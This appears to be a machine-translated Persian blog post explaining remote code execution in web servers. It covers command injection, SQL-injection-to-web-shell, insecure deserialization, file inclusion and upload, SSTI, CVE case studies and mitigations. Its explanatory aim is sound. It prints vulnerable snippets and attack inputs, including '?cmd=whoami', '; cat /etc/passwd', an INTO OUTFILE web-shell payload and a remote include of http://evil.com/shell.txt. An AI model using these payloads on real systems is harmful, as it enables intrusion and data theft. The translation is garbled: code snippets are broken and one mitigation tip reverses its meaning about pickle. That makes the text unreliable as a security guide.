کابوس سرور وب – جامعه dev

مقدمه
تصور کنید که یک غریبه قادر است بدون اجازه شما در پشت صفحه رایانه خود بنشیند. این واقعیت وحشتناک آسیب پذیری های اجرای کد از راه دور (RCE) است. در سالهای اخیر ، زیرساخت های مهم ، از جمله شرکت های برتر و سیستم های دولتی ، قربانی حملات ساکت و در عین حال ویرانگر RCE شده اند. تنها در ژانویه سال 2024 ، بیش از 2،000 دستگاه VPN Ivanti به خطر افتادند – بازنشانی کارخانه.
این مقاله در اعماق دنیای RCE سرورهای وب را هدف قرار می دهد. شما یاد می گیرید که مهاجمان چگونه از این آسیب پذیری ها ، چگونگی متحمل شدن سازمان های واقعی و چگونگی محافظت در برابر آنها سوء استفاده می کنند. با تبدیل شدن حملات پیچیده تر و گسترده تر ، درک RCE دیگر اختیاری نیست – ضروری است.
پایان نامه: این وبلاگ به بررسی آسیب پذیری های RCE در سرورهای وب ، ارائه بینش فنی ، نمونه های دنیای واقعی و استراتژی های دفاعی عملی برای علاقه مندان به فناوری و متخصصان می پردازد.
اجرای کد از راه دور (RCE) چیست؟
اجرای کد از راه دور (RCE) یک آسیب پذیری امنیتی است که به مهاجمان اجازه می دهد کد دلخواه را روی یک سرور از راه دور اجرا کنند. در صورت سوءاستفاده ، می تواند منجر به:
- سازش کامل سیستم
- نقض داده ها
- نصب بدافزار
- پشتوانه های مداوم
RCE کنترل های دسترسی منظم و مکانیسم های امنیتی را از بین می برد و کنترل سطح اداری مهاجم را از راه دور ارائه می دهد.
انواع آسیب پذیری RCE مشترک در سرورهای وب
آسیب پذیری های تزریق:
تزریق فرمان
مهاجمان از اعتبار ورودی ضعیف برای تزریق دستورات سطح سیستم بهره برداری می کنند. به عنوان مثال:
$cmd = $_GET['cmd']; system($cmd); ?>
URL مانند example.com/vuln.php?cmd=whoami
اجازه می دهد تا یک مهاجم دستورات را مستقیماً روی سرور اجرا کند.
سایر سیستم عامل های آسیب دیده: node.js (از طریق child_process.exec()
) ، پایتون os.system()
بشر
تزریق SQL به RCE
در حالی که تزریق SQL به طور معمول پایگاه داده ها را هدف قرار می دهد ، می تواند به RCE تبدیل شود. مثال:
' UNION SELECT "cmd']);?>" INTO OUTFILE '/var/www/html/shell.php'
این یک پوسته وب ایجاد می کند و به مهاجمان اعدام کامل فرمان می دهد.
تزریق LDAP
کمتر رایج اما به همان اندازه کشنده است. نمایش داده شدگان LDAP نادرست می توانند جریان احراز هویت را در معرض دید قرار دهند یا با سایر نقص ها برای دستیابی به RCE زنجیر شوند.
ناامن شدن ناامن: پشتی پنهان
هنگامی که برنامه ها بدون تأیید ، ورودی کاربر را رها می کنند ، درهای تزریق شیء دلخواه و اجرای کد را باز می کنند.
مثال در فلاسک پایتون:
user = pickle.loads(base64.b64decode(request.form['payload']))
یک بار ساخته شده می تواند هنگام پردازش سرور ، دستورات را اجرا کند.
نکته کاهش: مانند سریال سازی بومی مانند pickle
یا جاوا ObjectInputStream
بشر از قالب های امن مانند JSON استفاده کنید.
آسیب پذیری های گنجاندن پرونده (LFI و RFI)
هنگامی که برنامه ها به صورت پویا پرونده ها را بر اساس ورودی کاربر شامل می شوند:
include($_GET['page'].".php"); ?>
مهاجمان می توانند از این مورد استفاده کنند گنجاندن پرونده محلی (../../etc/passwd
) یا شمول پرونده از راه دور (http://evil.com/shell.txt
).
آسیب پذیری های بارگذاری پرونده
بارگذاری فایل بدون ارزیابی به مهاجمان اجازه می دهد تا اسکریپت های مخرب را مستقر کنند:
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/".$_FILES['file']['name']);
اگر shell.php
بارگذاری شده است ، می توان آن را آغاز کرد:
example.com/uploads/shell.php?cmd=ls
سرریز بافر: قدیمی اما طلا
غالباً در برنامه های کد بومی ، سرریز بافر به مهاجمان اجازه می دهد تا حافظه-از جمله آدرس های بازگشت-را برای نوشتن جریان کنترل و اجرای پوسته پوسته تزریق شده ، بازنویسی کنند.
گرچه در چارچوب های وب سطح بالا نادر است ، اما این موارد همچنان مرتبط هستند سرورهای وب جاسازی شدهبا C/C ++ Backends، یا پانل های مدیر IoTبشر
تزریق الگوی سمت سرور (SSTI)
محبوب در Jinja2 Python یا Ruby's ERB ، SSTI هنگامی اتفاق می افتد که ورودی کاربر در قالب های بدون ضد عفونی تعبیه شود:
template = Template(user_input)
یک مهاجم می تواند تزریق کند {{config.items()}}
یا بدتر ، {{().__class__.__bases__[0].__subclasses__()}}
بشر
چگونه هکرها از RCE استفاده می کنند (گام به گام)
1. شناسایی
2. تکنیک های بهره برداری
-
تزریق فرمان (PHP):
$cmd = $_GET['cmd']; system($cmd); ?> // Exploited with: ?cmd=whoami
-
تزریق فرمان (node.js):
const { exec } = require('child_process'); exec(`ls -l ${userInput}`, ...); // ?input=; cat /etc/passwd
-
تزریق SQL منتهی به RCE:
$query = "SELECT * FROM users WHERE username="". $_GET["username']. "'"; // Payload: ' UNION SELECT "" INTO OUTFILE ... ?>
-
ناامن شدن ناامن (پایتون + ترشی):
import pickle user = pickle.loads(base64.b64decode(request.form['payload']))
-
بارگذاری پرونده:
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/". $_FILES['file']['name']); ?> // Upload: shell.php with system($_GET['cmd'])
3. تحویل بار
4. پس از بهره برداری
-
کاربران را اضافه کنید ، ابزارهای پایداری ، حرکت جانبی را نصب کنید
-
نتایج احتمالی: رمزنگاری ، باج افزار ، سرقت داده ها
تأثیر حملات موفقیت آمیز RCE
-
نقض داده ها: PII ، دسترسی به پایگاه داده ، نشت پیکربندی
-
کنترل کامل سرور: بدافزار ، پشتوانه ، کاربران جدید را نصب کنید
-
استقرار باج افزار: پرونده های رمزگذاری شده ، تقاضای پرداخت
-
رمز: معدن رمزنگاری پنهان با استفاده از منابع سرور
-
انکار خدمات: سرور را برای حملات گسترده تر اسلحه کنید
-
خسارت به اعتبار: اعتماد از دست رفته ، جریمه های قانونی ، خرابی گسترده
مطالعات موردی RCE با مشخصات بالا
1. Ivanti Connect Secure و Policy Secure (CVE-2024-21887 & CVE-2023-46805)
-
مورد سوء استفاده در ژانویه 2024
-
2،000 دستگاه VPN تحت تأثیر قرار گرفت
-
بهره برداری حتی پس از تنظیم مجدد کارخانه همچنان ادامه داشت
2. Apache Struts 2 (CVE-2024-53677)
-
آسیب پذیری مسیر مسیر در منطق بارگذاری پرونده
-
سیستم های میراث تحت تأثیر هنوز در حال استفاده است
-
با استفاده از POC عمومی در طبیعت مورد سوء استفاده قرار می گیرد
3. PHP در ویندوز (CVE-2024-4577)
-
از طریق تزریق استدلال CGI ایجاد شده است
-
تنظیمات XAMPP خاص زبان تحت تأثیر
-
نشان داده شده است که چگونه ویژگی های رمزگذاری می توانند آسیب پذیری ها را معرفی کنند
4. Apache Tomcat (CVE-2025-24813)
5. سایر سیستم عامل های آسیب پذیر
-
تلاقی Atlassian ، Microsoft SharePoint ، Xwiki ، Azure Web Apps ، Veeam و Zyxel
-
سوءاستفاده ها از deserialization ، مسیر عبور از گذرگاه احراز هویت متغیر است
استراتژی های کاهش
- برنامه نویسی ایمن
- Sanitize input
- Use parameterized queries
- Avoid `eval()`, `system()` in code
- پچ و به روزرسانی ها
- Automate patch cycles
- Apply security advisories ASAP
- فایروال برنامه وب (WAF)
- Detect common payloads, block them
- حداقل اصل امتیاز
- Run processes as non-root users
- ناامیدی ایمن
- Use JSON or integrity-checked formats
- آزمایش نفوذ و حسابرسی
- Simulate attacks to find weaknesses
بینش متخصص
“اکثریت قریب به اتفاق سوءاستفاده های RCE که ما در آسیب پذیری های شناخته شده غیرمجاز هدف وحشی مشاهده می کنیم. تاخیر پچ دشمن واقعی است.”
– کیتی موسوری، بنیانگذار و مدیرعامل Luta Security
“Deserialization امن هنوز توسط توسعه دهندگان ضعیف است. این یک قاتل ساکت در نرم افزار شرکت است.”
– آدام شوستاک، کارشناس مدل سازی تهدید ، معمار سابق امنیت مایکروسافت
پایان
از تزریق فرمان تا بارگذاری پرونده های ناامن ، شایع ترین آسیب پذیری های RCE ناشی از نقص های قابل پیش بینی و اغلب قابل پیشگیری در منطق کاربرد و بهداشت امنیتی است.
غذای اصلی:
-
اعتبار همه ورودی ها، همیشه
-
از عملکردهای ناامن خودداری کنید مانند
eval()
باsystem()
باpickle.loads()
بشر -
پچ به طور مرتبservices خدمات کم مشخص می تواند اهداف باشد.
-
تست با ابزارهای توهین آمیز مانند فاز ، آنالایزر استاتیک و تمرینات تیم قرمز.
ما با یک سناریوی ترسناک شروع کردیم و واقعی است. اما با دانش درست می توانید جداول را بچرخانید در مورد مهاجمان
فقط امیدوار بودن برنامه شما امن است ثابت کنید– این را امتحان کنید ، آن را وصله کنید و قبل از اینکه شخص دیگری انجام دهد ، آن را بشکنید.